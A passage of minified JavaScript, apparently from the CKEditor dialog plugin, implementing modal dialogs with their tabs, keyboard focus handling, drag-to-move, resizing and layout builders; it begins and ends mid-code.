progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>')),o.push("</div>"),(a=CKEDITOR.dom.element.createFromHtml(o.join(""))).setOpacity(null!=i?i:.5),a.on("keydown",s),a.on("keypress",s),a.on("keyup",s),a.appendTo(CKEDITOR.document.getBody()),C[r]=a),e.focusManager.add(a),p=a;var l=function(){var e=t.getScrollPosition(),n=CKEDITOR.dialog._.currentTop;if(a.setStyles({left:e.x+"px",top:e.y+"px"}),n)do{e=n.getPosition(),n.move(e.x,e.y)}while(n=n._.parentDialog)};if(T=e=function(){var e=t.getViewPaneSize();a.setStyles({width:e.width+"px",height:e.height+"px"})},t.on("resize",e),e(),(!CKEDITOR.env.mac||!CKEDITOR.env.webkit)&&a.focus(),CKEDITOR.env.ie6Compat){var c=function(){l(),arguments.callee.prevScrollHandler.apply(this,arguments)};t.$.setTimeout((function(){c.prevScrollHandler=window.onscroll||function(){},window.onscroll=c}),0),l()}}function c(e){p&&(e.focusManager.remove(p),e=CKEDITOR.document.getWindow(),p.hide(),e.removeListener("resize",T),CKEDITOR.env.ie6Compat&&e.$.setTimeout((function(){window.onscroll=window.onscroll&&window.onscroll.prevScrollHandler||null}),0),T=null)}var d=CKEDITOR.tools.cssLength,u='<div class="cke_reset_all {editorId} {editorDialogClass} {hidpi}" dir="{langDir}" lang="{langCode}" role="dialog" aria-labelledby="cke_dialog_title_{id}"><table class="cke_dialog '+CKEDITOR.env.cssClass+' cke_{langDir}" style="position:absolute" role="presentation"><tr><td role="presentation"><div class="cke_dialog_body" role="presentation"><div id="cke_dialog_title_{id}" class="cke_dialog_title" role="presentation"></div><a id="cke_dialog_close_button_{id}" class="cke_dialog_close_button" href="javascript:void(0)" title="{closeTitle}" role="button"><span class="cke_label">X</span></a><div id="cke_dialog_tabs_{id}" class="cke_dialog_tabs" role="tablist"></div><table class="cke_dialog_contents" role="presentation"><tr><td id="cke_dialog_contents_{id}" class="cke_dialog_contents_body" role="presentation"></td></tr><tr><td id="cke_dialog_footer_{id}" class="cke_dialog_footer" role="presentation"></td></tr></table></div></td></tr></table></div>';CKEDITOR.dialog=function(n,r){function a(e){var t=O._.focusList;if(e=e||0,!(1>t.length)){var n=O._.currentFocusIndex;try{t[n].getInputElement().$.blur()}catch(e){}for(var i=n=(n+e+t.length)%t.length;e&&!t[i].isFocusable()&&(i=(i+e+t.length)%t.length)!=n;);t[i].focus(),"text"==t[i].type&&t[i].select()}}function s(i){if(O==CKEDITOR.dialog._.currentTop){var o=i.data.getKeystroke(),r="rtl"==n.lang.dir;if(c=d=0,9==o||o==CKEDITOR.SHIFT+9)o=o==CKEDITOR.SHIFT+9,O._.tabBarMode?(o=o?e.call(O):t.call(O),O.selectPage(o),O._.tabs[o][0].focus()):a(o?-1:1),c=1;else if(o==CKEDITOR.ALT+121&&!O._.tabBarMode&&1<O.getPageCount())O._.tabBarMode=!0,O._.tabs[O._.currentTabId][0].focus(),c=1;else if(37!=o&&39!=o||!O._.tabBarMode)if(13!=o&&32!=o||!O._.tabBarMode)if(13==o)(o=i.data.getTarget()).is("a","button","select","textarea")||o.is("input")&&"button"==o.$.type||((o=this.getButton("ok"))&&CKEDITOR.tools.setTimeout(o.click,0,o),c=1),d=1;else{if(27!=o)return;(o=this.getButton("cancel"))?CKEDITOR.tools.setTimeout(o.click,0,o):!1!==this.fire("cancel",{hide:!0}).hide&&this.hide(),d=1}else this.selectPage(this._.currentTabId),this._.tabBarMode=!1,this._.currentFocusIndex=-1,a(1),c=1;else o=o==(r?39:37)?e.call(O):t.call(O),O.selectPage(o),O._.tabs[o][0].focus(),c=1;l(i)}}function l(e){c?e.data.preventDefault(1):d&&e.data.stopPropagation()}var c,d,m=CKEDITOR.dialog._.dialogDefinitions[r],f=CKEDITOR.tools.clone(h),E=n.config.dialog_buttonsOrder||"OS",T=n.lang.dir,C={};if(("OS"==E&&CKEDITOR.env.mac||"rtl"==E&&"ltr"==T||"ltr"==E&&"rtl"==T)&&f.buttons.reverse(),m=CKEDITOR.tools.extend(m(n),f),m=CKEDITOR.tools.clone(m),m=new g(this,m),f=function(e){var t=(e=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate("dialog",u).output({id:CKEDITOR.tools.getNextNumber(),editorId:e.id,langDir:e.lang.dir,langCode:e.langCode,editorDialogClass:"cke_editor_"+e.name.replace(/\./g,"\\.")+"_dialog",closeTitle:e.lang.common.close,hidpi:CKEDITOR.env.hidpi?"cke_hidpi":""}))).getChild([0,0,0,0,0]),n=t.getChild(0),i=t.getChild(1);if(CKEDITOR.env.ie&&!CKEDITOR.env.ie6Compat){var o="javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())";CKEDITOR.dom.element.createFromHtml('<iframe frameBorder="0" class="cke_iframe_shim" src="'+o+'" tabIndex="-1"></iframe>').appendTo(t.getParent())}return n.unselectable(),i.unselectable(),{element:e,parts:{dialog:e.getChild(0),title:n,close:i,tabs:t.getChild(2),contents:t.getChild([3,0,0,0]),footer:t.getChild([3,0,1,0])}}}(n),this._={editor:n,element:f.element,name:r,contentSize:{width:0,height:0},size:{width:0,height:0},contents:{},buttons:{},accessKeyMap:{},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,focusList:[],currentFocusIndex:0,hasFocus:!1},this.parts=f.parts,CKEDITOR.tools.setTimeout((function(){n.fire("ariaWidget",this.parts.contents)}),0,this),(f={position:CKEDITOR.env.ie6Compat?"absolute":"fixed",top:0,visibility:"hidden"})["rtl"==T?"right":"left"]=0,this.parts.dialog.setStyles(f),CKEDITOR.event.call(this),this.definition=m=CKEDITOR.fire("dialogDefinition",{name:r,definition:m},n).definition,!("removeDialogTabs"in n._)&&n.config.removeDialogTabs){for(f=n.config.removeDialogTabs.split(";"),T=0;T<f.length;T++)if(2==(E=f[T].split(":")).length){var I=E[0];C[I]||(C[I]=[]),C[I].push(E[1])}n._.removeDialogTabs=C}if(n._.removeDialogTabs&&(C=n._.removeDialogTabs[r]))for(T=0;T<C.length;T++)m.removeContents(C[T]);m.onLoad&&this.on("load",m.onLoad),m.onShow&&this.on("show",m.onShow),m.onHide&&this.on("hide",m.onHide),m.onOk&&this.on("ok",(function(e){n.fire("saveSnapshot"),setTimeout((function(){n.fire("saveSnapshot")}),0),!1===m.onOk.call(this,e)&&(e.data.hide=!1)})),m.onCancel&&this.on("cancel",(function(e){!1===m.onCancel.call(this,e)&&(e.data.hide=!1)}));var O=this,D=function(e){var t,n=O._.contents;for(t in n)for(var i in n[t])if(e.call(this,n[t][i]))return};this.on("ok",(function(e){D((function(t){if(t.validate){var n=t.validate(this),o="string"==typeof n||!1===n;return o&&(e.data.hide=!1,e.stop()),i.call(t,!o,"string"==typeof n?n:void 0),o}}))}),this,null,0),this.on("cancel",(function(e){D((function(t){if(t.isChanged())return!n.config.dialog_noConfirmCancel&&!confirm(n.lang.common.confirmCancel)&&(e.data.hide=!1),!0}))}),this,null,0),this.parts.close.on("click",(function(e){!1!==this.fire("cancel",{hide:!0}).hide&&this.hide(),e.data.preventDefault()}),this),this.changeFocus=a;var R=this._.element;for(n.focusManager.add(R,1),this.on("show",(function(){R.on("keydown",s,this),(CKEDITOR.env.opera||CKEDITOR.env.gecko)&&R.on("keypress",l,this)})),this.on("hide",(function(){R.removeListener("keydown",s),(CKEDITOR.env.opera||CKEDITOR.env.gecko)&&R.removeListener("keypress",l),D((function(e){o.apply(e)}))})),this.on("iframeAdded",(function(e){new CKEDITOR.dom.document(e.data.iframe.$.contentWindow.document).on("keydown",s,this,null,0)})),this.on("show",(function(){if(function(){var e=O._.focusList;e.sort((function(e,t){return e.tabIndex!=t.tabIndex?t.tabIndex-e.tabIndex:e.focusIndex-t.focusIndex}));for(var t=e.length,n=0;n<t;n++)e[n].focusIndex=n}(),n.config.dialog_startupFocusTab&&1<O._.pageCount)O._.tabBarMode=!0,O._.tabs[O._.currentTabId][0].focus();else if(!this._.hasFocus)if(this._.currentFocusIndex=-1,m.onFocus){var e=m.onFocus.call(this);e&&e.focus()}else a(1)}),this,null,4294967295),CKEDITOR.env.ie6Compat&&this.on("load",(function(){var e=this.getElement(),t=e.getFirst();t.remove(),t.appendTo(e)}),this),function(e){function t(t){var n=e.getSize(),l=CKEDITOR.document.getWindow().getViewPaneSize(),c=t.data.$.screenX,d=t.data.$.screenY,u=c-i.x,h=d-i.y;i={x:c,y:d},o.x+=u,o.y+=h,e.move(o.x+s[3]<a?-s[3]:o.x-s[1]>l.width-n.width-a?l.width-n.width+("rtl"==r.lang.dir?0:s[1]):o.x,o.y+s[0]<a?-s[0]:o.y-s[2]>l.height-n.height-a?l.height-n.height+s[2]:o.y,1),t.data.preventDefault()}function n(){if(CKEDITOR.document.removeListener("mousemove",t),CKEDITOR.document.removeListener("mouseup",n),CKEDITOR.env.ie6Compat){var e=p.getChild(0).getFrameDocument();e.removeListener("mousemove",t),e.removeListener("mouseup",n)}}var i=null,o=null;e.getElement().getFirst();var r=e.getParentEditor(),a=r.config.dialog_magnetDistance,s=CKEDITOR.skin.margins||[0,0,0,0];void 0===a&&(a=20),e.parts.title.on("mousedown",(function(r){if(i={x:r.data.$.screenX,y:r.data.$.screenY},CKEDITOR.document.on("mousemove",t),CKEDITOR.document.on("mouseup",n),o=e.getPosition(),CKEDITOR.env.ie6Compat){var a=p.getChild(0).getFrameDocument();a.on("mousemove",t),a.on("mouseup",n)}r.data.preventDefault()}),e)}(this),function(e){var t,n;function i(i){var o="rtl"==h.lang.dir,u=d.width,m=d.height,f=u+(i.data.$.screenX-t)*(o?-1:1)*(e._.moved?1:2),E=m+(i.data.$.screenY-n)*(e._.moved?1:2),g=e._.element.getFirst(),T=(g=o&&g.getComputedStyle("right"),e.getPosition());T.y+E>c.height&&(E=c.height-T.y),(o?g:T.x)+f>c.width&&(f=c.width-(o?g:T.x)),a!=CKEDITOR.DIALOG_RESIZE_WIDTH&&a!=CKEDITOR.DIALOG_RESIZE_BOTH||(u=Math.max(r.minWidth||0,f-s)),a!=CKEDITOR.DIALOG_RESIZE_HEIGHT&&a!=CKEDITOR.DIALOG_RESIZE_BOTH||(m=Math.max(r.minHeight||0,E-l)),e.resize(u,m),e._.moved||e.layout(),i.data.preventDefault()}function o(){if(CKEDITOR.document.removeListener("mouseup",o),CKEDITOR.document.removeListener("mousemove",i),u&&(u.remove(),u=null),CKEDITOR.env.ie6Compat){var e=p.getChild(0).getFrameDocument();e.removeListener("mouseup",o),e.removeListener("mousemove",i)}}var r=e.definition,a=r.resizable;if(a!=CKEDITOR.DIALOG_RESIZE_NONE){var s,l,c,d,u,h=e.getParentEditor(),m=CKEDITOR.tools.addFunction((function(r){d=e.getSize();var a=e.parts.contents;a.$.getElementsByTagName("iframe").length&&(u=CKEDITOR.dom.element.createFromHtml('<div class="cke_dialog_resize_cover" style="height: 100%; position: absolute; width: 100%;"></div>'),a.append(u)),l=d.height-e.parts.contents.getSize("height",!(CKEDITOR.env.gecko||CKEDITOR.env.opera||CKEDITOR.env.ie&&CKEDITOR.env.quirks)),s=d.width-e.parts.contents.getSize("width",1),t=r.screenX,n=r.screenY,c=CKEDITOR.document.getWindow().getViewPaneSize(),CKEDITOR.document.on("mousemove",i),CKEDITOR.document.on("mouseup",o),CKEDITOR.env.ie6Compat&&((a=p.getChild(0).getFrameDocument()).on("mousemove",i),a.on("mouseup",o)),r.preventDefault&&r.preventDefault()}));e.on("load",(function(){var t="";a==CKEDITOR.DIALOG_RESIZE_WIDTH?t=" cke_resizer_horizontal":a==CKEDITOR.DIALOG_RESIZE_HEIGHT&&(t=" cke_resizer_vertical"),t=CKEDITOR.dom.element.createFromHtml('<div class="cke_resizer'+t+" cke_resizer_"+h.lang.dir+'" title="'+CKEDITOR.tools.htmlEncode(h.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+m+', event )">'+("ltr"==h.lang.dir?"◢":"◣")+"</div>"),e.parts.footer.append(t,1)})),h.on("destroy",(function(){CKEDITOR.tools.removeFunction(m)}))}}(this),new CKEDITOR.dom.text(m.title,CKEDITOR.document).appendTo(this.parts.title),T=0;T<m.contents.length;T++)(C=m.contents[T])&&this.addPage(C);for(this.parts.tabs.on("click",(function(e){var t=e.data.getTarget();t.hasClass("cke_dialog_tab")&&(t=t.$.id,this.selectPage(t.substring(4,t.lastIndexOf("_"))),this._.tabBarMode&&(this._.tabBarMode=!1,this._.currentFocusIndex=-1,a(1)),e.data.preventDefault())}),this),T=[],C=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:"hbox",className:"cke_dialog_footer_buttons",widths:[],children:m.buttons},T).getChild(),this.parts.footer.setHtml(T.join("")),T=0;T<C.length;T++)this._.buttons[C[T].id]=C[T]},CKEDITOR.dialog.prototype={destroy:function(){this.hide(),this._.element.remove()},resize:function(e,t){this._.contentSize&&this._.contentSize.width==e&&this._.contentSize.height==t||(CKEDITOR.dialog.fire("resize",{dialog:this,width:e,height:t},this._.editor),this.fire("resize",{width:e,height:t},this._.editor),this.parts.contents.setStyles({width:e+"px",height:t+"px"}),"rtl"==this._.editor.lang.dir&&this._.position&&(this._.position.x=CKEDITOR.document.getWindow().getViewPaneSize().width-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle("right"),10)),this._.contentSize={width:e,height:t})},getSize:function(){var e=this._.element.getFirst();return{width:e.$.offsetWidth||0,height:e.$.offsetHeight||0}},move:function(e,t,n){var i=this._.element.getFirst(),o="rtl"==this._.editor.lang.dir,r="fixed"==i.getComputedStyle("position");CKEDITOR.env.ie&&i.setStyle("zoom","100%"),r&&this._.position&&this._.position.x==e&&this._.position.y==t||(this._.position={x:e,y:t},r||(e+=(r=CKEDITOR.document.getWindow().getScrollPosition()).x,t+=r.y),o&&(r=this.getSize(),e=CKEDITOR.document.getWindow().getViewPaneSize().width-r.width-e),(t={top:(0<t?t:0)+"px"})[o?"right":"left"]=(0<e?e:0)+"px",i.setStyles(t),n&&(this._.moved=1))},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var e=this._.element,t=this.definition;if(e.getParent()&&e.getParent().equals(CKEDITOR.document.getBody())?e.setStyle("display","block"):e.appendTo(CKEDITOR.document.getBody()),CKEDITOR.env.gecko&&10900>CKEDITOR.env.version){var n=this.parts.dialog;n.setStyle("position","absolute"),setTimeout((function(){n.setStyle("position","fixed")}),0)}for(var i in this.resize(this._.contentSize&&this._.contentSize.width||t.width||t.minWidth,this._.contentSize&&this._.contentSize.height||t.height||t.minHeight),this.reset(),this.selectPage(this.definition.contents[0].id),null===CKEDITOR.dialog._.currentZIndex&&(CKEDITOR.dialog._.currentZIndex=this._.editor.config.baseFloatZIndex),this._.element.getFirst().setStyle("z-index",CKEDITOR.dialog._.currentZIndex+=10),null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,this._.parentDialog=null,l(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,this._.parentDialog.getElement().getFirst().$.style.zIndex-=Math.floor(this._.editor.config.baseFloatZIndex/2),CKEDITOR.dialog._.currentTop=this),e.on("keydown",O),e.on(CKEDITOR.env.opera?"keypress":"keyup",D),this._.hasFocus=!1,t.contents)if(t.contents[i]){e=t.contents[i];var o=this._.tabs[e.id],r=e.requiredContent,a=0;if(o){for(var s in this._.contents[e.id]){var c=this._.contents[e.id][s];"hbox"==c.type||"vbox"==c.type||!c.getInputElement()||(c.requiredContent&&!this._.editor.activeFilter.check(c.requiredContent)?c.disable():(c.enable(),a++))}!a||r&&!this._.editor.activeFilter.check(r)?o[0].addClass("cke_dialog_tab_disabled"):o[0].removeClass("cke_dialog_tab_disabled")}}CKEDITOR.tools.setTimeout((function(){this.layout(),function(e){function t(){e.layout()}var n=CKEDITOR.document.getWindow();n.on("resize",t),e.on("hide",(function(){n.removeListener("resize",t)}))}(this),this.parts.dialog.setStyle("visibility",""),this.fireOnce("load",{}),CKEDITOR.ui.fire("ready",this),this.fire("show",{}),this._.editor.fire("dialogShow",this),this._.parentDialog||this._.editor.focusManager.lock(),this.foreach((function(e){e.setInitValue&&e.setInitValue()}))}),100,this)},layout:function(){var e=this.parts.dialog,t=this.getSize(),n=CKEDITOR.document.getWindow().getViewPaneSize(),i=(n.width-t.width)/2,o=(n.height-t.height)/2;CKEDITOR.env.ie6Compat||(t.height+(0<o?o:0)>n.height||t.width+(0<i?i:0)>n.width?e.setStyle("position","absolute"):e.setStyle("position","fixed")),this.move(this._.moved?this._.position.x:i,this._.moved?this._.position.y:o)},foreach:function(e){for(var t in this._.contents)for(var n in this._.contents[t])e.call(this,this._.contents[t][n]);return this},reset:function(){var e=function(e){e.reset&&e.reset(1)};return function(){return this.foreach(e),this}}(),setupContent:function(){var e=arguments;this.foreach((function(t){t.setup&&t.setup.apply(t,e)}))},commitContent:function(){var e=arguments;this.foreach((function(t){CKEDITOR.env.ie&&this._.currentFocusIndex==t.focusIndex&&t.getInputElement().$.blur(),t.commit&&t.commit.apply(t,e)}))},hide:function(){if(this.parts.dialog.isVisible()){this.fire("hide",{}),this._.editor.fire("dialogHide",this),this.selectPage(this._.tabIdList[0]);var e=this._.element;for(e.setStyle("display","none"),this.parts.dialog.setStyle("visibility","hidden"),v(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();if(this._.parentDialog){var t=this._.parentDialog.getElement().getFirst();t.setStyle("z-index",parseInt(t.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else c(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=10;else{CKEDITOR.dialog._.currentZIndex=null,e.removeListener("keydown",O),e.removeListener(CKEDITOR.env.opera?"keypress":"keyup",D);var n=this._.editor;n.focus(),setTimeout((function(){n.focusManager.unlock()}),0)}delete this._.parentDialog,this.foreach((function(e){e.resetInitValue&&e.resetInitValue()}))}},addPage:function(e){if(!e.requiredContent||this._.editor.filter.check(e.requiredContent)){for(var t=[],n=e.label?' title="'+CKEDITOR.tools.htmlEncode(e.label)+'"':"",i=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,{type:"vbox",className:"cke_dialog_page_contents",children:e.elements,expand:!!e.expand,padding:e.padding,style:e.style||"width: 100%;"},t),o=this._.contents[e.id]={},r=i.getChild(),a=0;i=r.shift();)!i.notAllowed&&"hbox"!=i.type&&"vbox"!=i.type&&a++,o[i.id]=i,"function"==typeof i.getChild&&r.push.apply(r,i.getChild());a||(e.hidden=!0),(t=CKEDITOR.dom.element.createFromHtml(t.join(""))).setAttribute("role","tabpanel"),i=CKEDITOR.env,o="cke_"+e.id+"_"+CKEDITOR.tools.getNextNumber(),n=CKEDITOR.dom.element.createFromHtml(['<a class="cke_dialog_tab"',0<this._.pageCount?" cke_last":"cke_first",n,e.hidden?' style="display:none"':"",' id="',o,'"',i.gecko&&10900<=i.version&&!i.hc?"":' href="javascript:void(0)"',' tabIndex="-1" hidefocus="true" role="tab">',e.label,"</a>"].join("")),t.setAttribute("aria-labelledby",o),this._.tabs[e.id]=[n,t],this._.tabIdList.push(e.id),!e.hidden&&this._.pageCount++,this._.lastTab=n,this.updateStyle(),t.setAttribute("name",e.id),t.appendTo(this.parts.contents),n.unselectable(),this.parts.tabs.append(n),e.accessKey&&(R(this,this,"CTRL+"+e.accessKey,K,b),this._.accessKeyMap["CTRL+"+e.accessKey]=e.id)}},selectPage:function(e){if(this._.currentTabId!=e&&!this._.tabs[e][0].hasClass("cke_dialog_tab_disabled")&&!0!==this.fire("selectPage",{page:e,currentPage:this._.currentTabId})){for(var t in this._.tabs){var i=this._.tabs[t][0],o=this._.tabs[t][1];t!=e&&(i.removeClass("cke_dialog_tab_selected"),o.hide()),o.setAttribute("aria-hidden",t!=e)}var r=this._.tabs[e];r[0].addClass("cke_dialog_tab_selected"),CKEDITOR.env.ie6Compat||CKEDITOR.env.ie7Compat?(n(r[1]),r[1].show(),setTimeout((function(){n(r[1],1)}),0)):r[1].show(),this._.currentTabId=e,this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,e)}},updateStyle:function(){this.parts.dialog[(1===this._.pageCount?"add":"remove")+"Class"]("cke_single_page")},hidePage:function(t){var n=this._.tabs[t]&&this._.tabs[t][0];n&&1!=this._.pageCount&&n.isVisible()&&(t==this._.currentTabId&&this.selectPage(e.call(this)),n.hide(),this._.pageCount--,this.updateStyle())},showPage:function(e){(e=this._.tabs[e]&&this._.tabs[e][0])&&(e.show(),this._.pageCount++,this.updateStyle())},getElement:function(){return this._.element},getName:function(){return this._.name},getContentElement:function(e,t){var n=this._.contents[e];return n&&n[t]},getValueOf:function(e,t){return this.getContentElement(e,t).getValue()},setValueOf:function(e,t,n){return this.getContentElement(e,t).setValue(n)},getButton:function(e){return this._.buttons[e]},click:function(e){return this._.buttons[e].click()},disableButton:function(e){return this._.buttons[e].disable()},enableButton:function(e){return this._.buttons[e].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(e,t){if(void 0===t)t=this._.focusList.length,this._.focusList.push(new r(this,e,t));else{this._.focusList.splice(t,0,new r(this,e,t));for(var n=t+1;n<this._.focusList.length;n++)this._.focusList[n].focusIndex++}}},CKEDITOR.tools.extend(CKEDITOR.dialog,{add:function(e,t){this._.dialogDefinitions[e]&&"function"!=typeof t||(this._.dialogDefinitions[e]=t)},exists:function(e){return!!this._.dialogDefinitions[e]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},isTabEnabled:function(e,t,n){return!((e=e.config.removeDialogTabs)&&e.match(RegExp("(?:^|;)"+t+":"+n+"(?:$|;)","i")))},okButton:function(){var e=function(e,t){return t=t||{},CKEDITOR.tools.extend({id:"ok",type:"button",label:e.lang.common.ok,class:"cke_dialog_ui_button_ok",onClick:function(e){!1!==(e=e.data.dialog).fire("ok",{hide:!0}).hide&&e.hide()}},t,!0)};return e.type="button",e.override=function(t){return CKEDITOR.tools.extend((function(n){return e(n,t)}),{type:"button"},!0)},e}(),cancelButton:function(){var e=function(e,t){return t=t||{},CKEDITOR.tools.extend({id:"cancel",type:"button",label:e.lang.common.cancel,class:"cke_dialog_ui_button_cancel",onClick:function(e){!1!==(e=e.data.dialog).fire("cancel",{hide:!0}).hide&&e.hide()}},t,!0)};return e.type="button",e.override=function(t){return CKEDITOR.tools.extend((function(n){return e(n,t)}),{type:"button"},!0)},e}(),addUIElement:function(e,t){this._.uiElementBuilders[e]=t}}),CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null},CKEDITOR.event.implementOn(CKEDITOR.dialog),CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype);var h={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton]},m=function(e,t,n){for(var i,o=0;i=e[o];o++)if(i.id==t||n&&i[n]&&(i=m(i[n],t,n)))return i;return null},f=function(e,t,n,i,o){if(n){for(var r,a=0;r=e[a];a++){if(r.id==n)return e.splice(a,0,t),t;if(i&&r[i]&&(r=f(r[i],t,n,i,!0)))return r}if(o)return null}return e.push(t),t},E=function(e,t,n){for(var i,o=0;i=e[o];o++){if(i.id==t)return e.splice(o,1);if(n&&i[n]&&(i=E(i[n],t,n)))return i}return null},g=function(e,t){this.dialog=e;for(var n,i=t.contents,o=0;n=i[o];o++)i[o]=n&&new a(e,n);CKEDITOR.tools.extend(this,t)};g.prototype={getContents:function(e){return m(this.contents,e)},getButton:function(e){return m(this.buttons,e)},addContents:function(e,t){return f(this.contents,e,t)},addButton:function(e,t){return f(this.buttons,e,t)},removeContents:function(e){E(this.contents,e)},removeButton:function(e){E(this.buttons,e)}},a.prototype={get:function(e){return m(this.elements,e,"children")},add:function(e,t){return f(this.elements,e,t,"children")},remove:function(e){E(this.elements,e,"children")}};var T,p,C={},I={},O=function(e){var t=e.data.$.ctrlKey||e.data.$.metaKey,n=e.data.$.altKey,i=e.data.$.shiftKey,o=String.fromCharCode(e.data.$.keyCode);(t=I[(t?"CTRL+":"")+(n?"ALT+":"")+(i?"SHIFT+":"")+o])&&t.length&&((t=t[t.length-1]).keydown&&t.keydown.call(t.uiElement,t.dialog,t.key),e.data.preventDefault())},D=function(e){var t=e.data.$.ctrlKey||e.data.$.metaKey,n=e.data.$.altKey,i=e.data.$.shiftKey,o=String.fromCharCode(e.data.$.keyCode);(t=I[(t?"CTRL+":"")+(n?"ALT+":"")+(i?"SHIFT+":"")+o])&&t.length&&(t=t[t.length-1]).keyup&&(t.keyup.call(t.uiElement,t.dialog,t.key),e.data.preventDefault())},R=function(e,t,n,i,o){(I[n]||(I[n]=[])).push({uiElement:e,dialog:t,key:n,keyup:o||e.accessKeyUp,keydown:i||e.accessKeyDown})},v=function(e){for(var t in I){for(var n=I[t],i=n.length-1;0<=i;i--)(n[i].dialog==e||n[i].uiElement==e)&&n.splice(i,1);0===n.length&&delete I[t]}},b=function(e,t){e._.accessKeyMap[t]&&e.selectPage(e._.accessKeyMap[t])},K=function(){};CKEDITOR.ui.dialog={uiElement:function(e,t,n,i,o,r,a){if(!(4>arguments.length)){var s=(i.call?i(t):i)||"div",l=["<",s," "],c=(o&&o.call?o(t):o)||{},d=(r&&r.call?r(t):r)||{},u=(a&&a.call?a.call(this,e,t):a)||"",h=this.domId=d.id||CKEDITOR.tools.getNextId()+"_uiElement";this.id=t.id,t.requiredContent&&!e.getParentEditor().filter.check(t.requiredContent)&&(c.display="none",this.notAllowed=!0),d.id=h;var m={};t.type&&(m["cke_dialog_ui_"+t.type]=1),t.className&&(m[t.className]=1),t.disabled&&(m.cke_disabled=1);var f=d.class&&d.class.split?d.class.split(" "):[];for(h=0;h<f.length;h++)f[h]&&(m[f[h]]=1);for(h in f=[],m)f.push(h);for(h in d.class=f.join(" "),t.title&&(d.title=t.title),m=(t.style||"").split(";"),t.align&&(f=t.align,c["margin-left"]="left"==f?0:"auto",c["margin-right"]="right"==f?0:"auto"),c)m.push(h+":"+c[h]);for(t.hidden&&m.push("display:none"),h=m.length-1;0<=h;h--)""===m[h]&&m.splice(h,1);for(h in 0<m.length&&(d.style=(d.style?d.style+"; ":"")+m.join("; ")),d)l.push(h+'="'+CKEDITOR.tools.htmlEncode(d[h])+'" ');l.push(">",u,"</",s,">"),n.push(l.join("")),(this._||(this._={})).dialog=e,"boolean"==typeof t.isChanged&&(this.isChanged=function(){return t.isChanged}),"function"==typeof t.isChanged&&(this.isChanged=t.isChanged),"function"==typeof t.setValue&&(this.setValue=CKEDITOR.tools.override(this.setValue,(function(e){return function(n){e.call(this,t.setValue.call(this,n))}}))),"function"==typeof t.getValue&&(this.getValue=CKEDITOR.tools.override(this.getValue,(function(e){return function(){return t.getValue.call(this,e.call(this))}}))),CKEDITOR.event.implementOn(this),this.registerEvents(t),this.accessKeyUp&&this.accessKeyDown&&t.accessKey&&R(this,e,"CTRL+"+t.accessKey);var E=this;e.on("load",(function(){var t=E.getInputElement();if(t){var n=E.type in{checkbox:1,ratio:1}&&CKEDITOR.env.ie&&CKEDITOR.env.version<8?"cke_dialog_ui_focused":"";t.on("focus",(function(){e._.tabBarMode=!1,e._.hasFocus=!0,E.fire("focus"),n&&this.addClass(n)})),t.on("blur",(function(){E.fire("blur"),n&&this.removeClass(n)}))}})),CKEDITOR.tools.extend(this,t),this.keyboardFocusable&&(this.tabIndex=t.tabIndex||0,this.focusIndex=e._.focusList.push(this)-1,this.on("focus",(function(){e._.currentFocusIndex=E.focusIndex})))}},hbox:function(e,t,n,i,o){if(!(4>arguments.length)){this._||(this._={});var r,a=this._.children=t,s=o&&o.widths||null,l=o&&o.height||null,c={role:"presentation"};o&&o.align&&(c.align=o.align),CKEDITOR.ui.dialog.uiElement.call(this,e,o||{type:"hbox"},i,"table",{},c,(function(){var e=['<tbody><tr class="cke_dialog_ui_hbox">'];for(r=0;r<n.length;r++){var t="cke_dialog_ui_hbox_child",i=[];0===r&&(t="cke_dialog_ui_hbox_first"),r==n.length-1&&(t="cke_dialog_ui_hbox_last"),e.push('<td class="',t,'" role="presentation" '),s?s[r]&&i.push("width:"+d(s[r])):i.push("width:"+Math.floor(100/n.length)+"%"),l&&i.push("height:"+d(l)),o&&null!=o.padding&&i.push("padding:"+d(o.padding)),CKEDITOR.env.ie&&CKEDITOR.env.quirks&&a[r].align&&i.push("text-align:"+a[r].align),0<i.length&&e.push('style="'+i.join("; ")+'" '),e.push(">",n[r],"</td>")}return e.push("</tr></tbody>"),e.join("")}))}},vbox:function(e,t,n,i,o){if(!(3>arguments.length)){this._||(this._={});var r=this._.children=t,a=o&&o.width||null,s=o&&o.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,e,o||{type:"vbox"},i,"div",null,{role:"presentation"},(function(){var t=['<table role="presentation" cellspacing="0" border="0" '];t.push('style="'),o&&o.expand&&t.push("height:100%;"),t.push("width:"+d(a||"100%"),";"),CKEDITOR.env.webkit&&t.push("float:none;"),t.push('"'),t.push('align="',CKEDITOR.tools.htmlEncode(o&&o.align||("ltr"==e.getParentEditor().lang.dir?"left":"right")),'" '),t.push("><tbody>");for(var i=0;i<n.length;i++){var l=[];t.push('<tr><td role="presentation" 